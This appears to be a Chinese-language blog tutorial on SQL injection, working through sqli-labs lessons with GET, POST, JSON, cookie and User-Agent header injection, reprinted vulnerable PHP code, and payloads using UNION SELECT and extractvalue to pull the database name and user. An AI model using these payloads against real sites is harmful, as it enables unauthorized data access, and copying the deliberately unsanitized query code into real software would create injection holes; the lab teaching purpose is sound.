image.png

说明

  • 在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。

简要明确参数类型

  • 数字、字符、搜索、JSON等
  • 直接输入的则为数字,如果是字符,则需要加上单引号
  • 如果网站有搜索功能,那么搜索语句通常使用到%百分号

简要明确请求方法

  • GET,POST,COOKIE,REQUEST,HTTP头等
  • 其中sql语句干扰符号:’,”,s,),}等,具体需看写法

参数字符型注入测试

  • sqli-labs less-5源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Less-5 Double Query- Single Quotes- String</title>
    </head>

    <body bgcolor="#000000">
    <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
    <font size="3" color="#FFFF00">


    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // connectivity


    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";#SQL执行的语句
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
    }
    else
    {

    echo '<font size="3" color="#FFFF00">';
    print_r(mysql_error());
    echo "</br></font>";
    echo '<font color= "#0000ff" font size= 3>';

    }
    }
    else { echo "Please input the ID as parameter with numeric value";}

    ?>

    </font> </div></br></br></br><center>
    <img src="../images/Less-5.jpg" /></center>
    </body>
    </html>
  • $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"SQL执行的语句是采用了’ ‘闭合
  • 我们要是直接使用?id=1 and 1=1相当于执行的是SELECT * FROM users WHERE id='1 and 1=1' LIMIT 0,1;,是不会有任何反应的
    image.png
    image.png
  • 正确的报错语句
    1
    2
    ?id=1' and '1'='1
    ?id=1' and '1'='2
    image.png
    image.png
  • 相当于在数据库执行 select * from users where id='1' and '1'='1'
    image.png
  • 获取字段?id=1' order by 4 --+
  • --+将后面的代码注释不执行
    image.png
  • 在数据库中执行 select * from users where id='1' order by 4;
    image.png
  • less-6源代码
    1
    2
    3
    4
    $id = '"'.$id.'"';
    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
  • 可以看出采用了双引号的方式进行了编码,绕过方法”闭合前面的引号,后面采用–+注释
  • ?id=1" order by 4 --+
    image.png

POST数据提交注入测试

  • sqli-labs less-11
  • 输入错误的用户名密码
    image.png
  • 输入正确的用户名密码
    image.png
  • 源代码,其中加入echo $sql;回显sql执行命令
    1
    2
    3
    4
    5
    // connectivity 
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    echo $sql;
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    image.png

使用hackbar模拟post数据提交测试

使用hackbar进行登录测试

  • 一般的登录情况都是采用的post提交数据、通过抓包获取到登录信息将它放在hackbar中进行登录测试,也是为了验证hackbar是否能正常使用,要是确认hackbar能正常使用这个可以跳过。
  • 进行登录,然后使用burp抓包获取登录信息
    image.png
  • 获取到的登录信息
    1
    uname=Dumb&passwd=Dumb&submit=Submit
  • 在hackbar当中进行测试,输入post data
    image.png
  • 登录成功

枚举数据库字段

image.png

  • post data以下内容
    1
    uname=admin' order by 3#&passwd=admin&submit=Submit
  • 在mysql当中一般注释后面的字句是采用--+,在有些字句中采用#注释。
  • 需要多测试才能发现,为了验证#是注释符号,将#替换为--+执行,查看结果看到报错信息
    image.png
  • 在数据库当中执行
    image.png
  • 可以得出结论,最终验证#是注释了后面的字句
  • 将order by 3改成2查看
  • uname=admin' order by 2#&passwd=admin&submit=Submit
    image.png
  • 可以看到登录成功,但实际上登录的用户名密码是错误的,因为只将sql语句注入进去没有报错,下面的语句正常的执行就显示登录成功
  • 换句话说就是登录到情况只有两个字段,很可能就是用户名密码。

枚举出数据库的名称

  • uname=admin' and 1=2 union select database(),2 #&passwd=admin&submit=Submit
    image.png
    image.png

参数JSON数据注入测试

  • 本地环境代码演示
  • json格式
    image.png
  • json注入
    image.png
  • 注入方式:如果是数字的,可以不加'闭合,如果是字符的话,加上"闭合

COOKIE数据提交注入测试

  • sqli-labs less-20

网站传递参数的方式

参数类型 含义
get型 一般访问网站的行为
cookie型 伴随着访问网页的行为
post型 上传文件,登录
  • cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数。
  • cookie注入的原理在于更改本地的cookie,从而利用cookie来提交非法语句。
  • 条件一:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤
  • 条件二: 条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
  • 通过burp抓包分析
    image.png
    image.png
    image.png
  • 这里在数据包当中发现了一个带cookie的参数Cookie: uname=Dumb
  • 将这个数据包发送到repeater(重发器)当中
  • 并修改cookie参数Cookie: uname=Dumb' and 1=2 union select database(),2,3 #
    image.png
  • 写改为Cookie: uname=Dumb' and 1=2 union select user(),2,3 #
    image.png

HTTP头部参数数据注入测试

  • sqli-labs less-18
  • 查看数据库源代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    if($row1)
    {
    echo '<font color= "#FFFF00" font size = 3 >';
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    //echo 'Your IP ADDRESS is: ' .$IP;
    echo "</font>";
    //echo "<br>";
    echo '<font color= "#0000ff" font size = 3 >';
    echo 'Your User Agent is: ' .$uagent;
    echo "</font>";
    echo "<br>";
    print_r(mysql_error());
    echo "<br><br>";
    echo '<img src="../images/flag.jpg" />';
    echo "<br>";

    }
    else
    {
    echo '<font color= "#0000ff" font size="3">';
    //echo "Try again looser";
    print_r(mysql_error());
    echo "</br>";
    echo "</br>";
    echo '<img src="../images/slap.jpg" />';
    echo "</font>";
    }
  • 根据源代码可以看出,对执行的insert语句没有任何的限制,也就是说我们通过修改http的头部信息可以达到sql注入的效果
  • 为方便实验,在103行加入sql语句的显示界面echo $insert;
    image.png
  • 修改数据包注入,获取数据库名称
  • User-Agent: 'and extractvalue (1,concat(0x7e,(select database()),0x7e)) and'
    image.png
  • 获取用户名User-Agent: 'and extractvalue (1,concat(0x7e,(select user()),0x7e)) and' Firefox/116.0
    image.png